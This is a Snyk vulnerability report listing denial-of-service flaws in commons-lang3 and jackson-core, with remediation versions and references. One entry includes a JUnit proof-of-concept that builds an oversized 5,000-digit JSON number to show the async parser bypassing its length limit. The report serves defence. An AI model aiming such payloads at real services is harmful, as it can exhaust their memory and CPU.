Snyk test report

Uncontrolled Recursion

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Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the ClassUtils.getClass function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.

Remediation

Upgrade org.apache.commons:commons-lang3 to version 3.18.0 or higher.

References

• Apache Pony Mail
• GitHub Commit

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Stack-based Buffer Overflow

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Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

• GitHub Commit
• GitHub PR

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Allocation of Resources Without Limits or Throttling

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Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;
        
        import java.nio.charset.StandardCharsets;
        
        import org.junit.jupiter.api.Test;
        
        import tools.jackson.core.*;
        import tools.jackson.core.exc.StreamConstraintsException;
        import tools.jackson.core.json.JsonFactory;
        import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
        
        import static org.junit.jupiter.api.Assertions.*;
        
        /**
         * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
         *
         * Authors: sprabhav7, rohan-repos
         * 
         * maxNumberLength default = 1000 characters (digits).
         * A number with more than 1000 digits should be rejected by any parser.
         *
         * BUG: The async parser never calls resetInt()/resetFloat() which is where
         * validateIntegerLength()/validateFPLength() lives. Instead it calls
         * _valueComplete() which skips all number length validation.
         *
         * CWE-770: Allocation of Resources Without Limits or Throttling
         */
        class AsyncParserNumberLengthBypassTest {
        
            private static final int MAX_NUMBER_LENGTH = 1000;
            private static final int TEST_NUMBER_LENGTH = 5000;
        
            private final JsonFactory factory = new JsonFactory();
        
            // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
            @Test
            void syncParserRejectsLongNumber() throws Exception {
                byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
                
                // Output to console
                System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
                try {
                    try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                        while (p.nextToken() != null) {
                            if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                                System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                            }
                        }
                    }
                    fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
                } catch (StreamConstraintsException e) {
                    System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
                }
            }
        
            // VULNERABILITY: Async parser accepts the SAME number that sync rejects
            @Test
            void asyncParserAcceptsLongNumber() throws Exception {
                byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
                NonBlockingByteArrayJsonParser p =
                    (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
                p.feedInput(payload, 0, payload.length);
                p.endOfInput();
        
                boolean foundNumber = false;
                try {
                    while (p.nextToken() != null) {
                        if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                            foundNumber = true;
                            String numberText = p.getText();
                            assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                                "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                        }
                    }
                    // Output to console
                    System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
                    assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
                } catch (StreamConstraintsException e) {
                    fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
                }
                p.close();
            }
        
            private byte[] buildPayloadWithLongInteger(int numDigits) {
                StringBuilder sb = new StringBuilder(numDigits + 10);
                sb.append("{\"v\":");
                for (int i = 0; i < numDigits; i++) {
                    sb.append((char) ('1' + (i % 9)));
                }
                sb.append('}');
                return sb.toString().getBytes(StandardCharsets.UTF_8);
            }
        }
        

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Commit
• GitHub PR

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Denial of Service (DoS)

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Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

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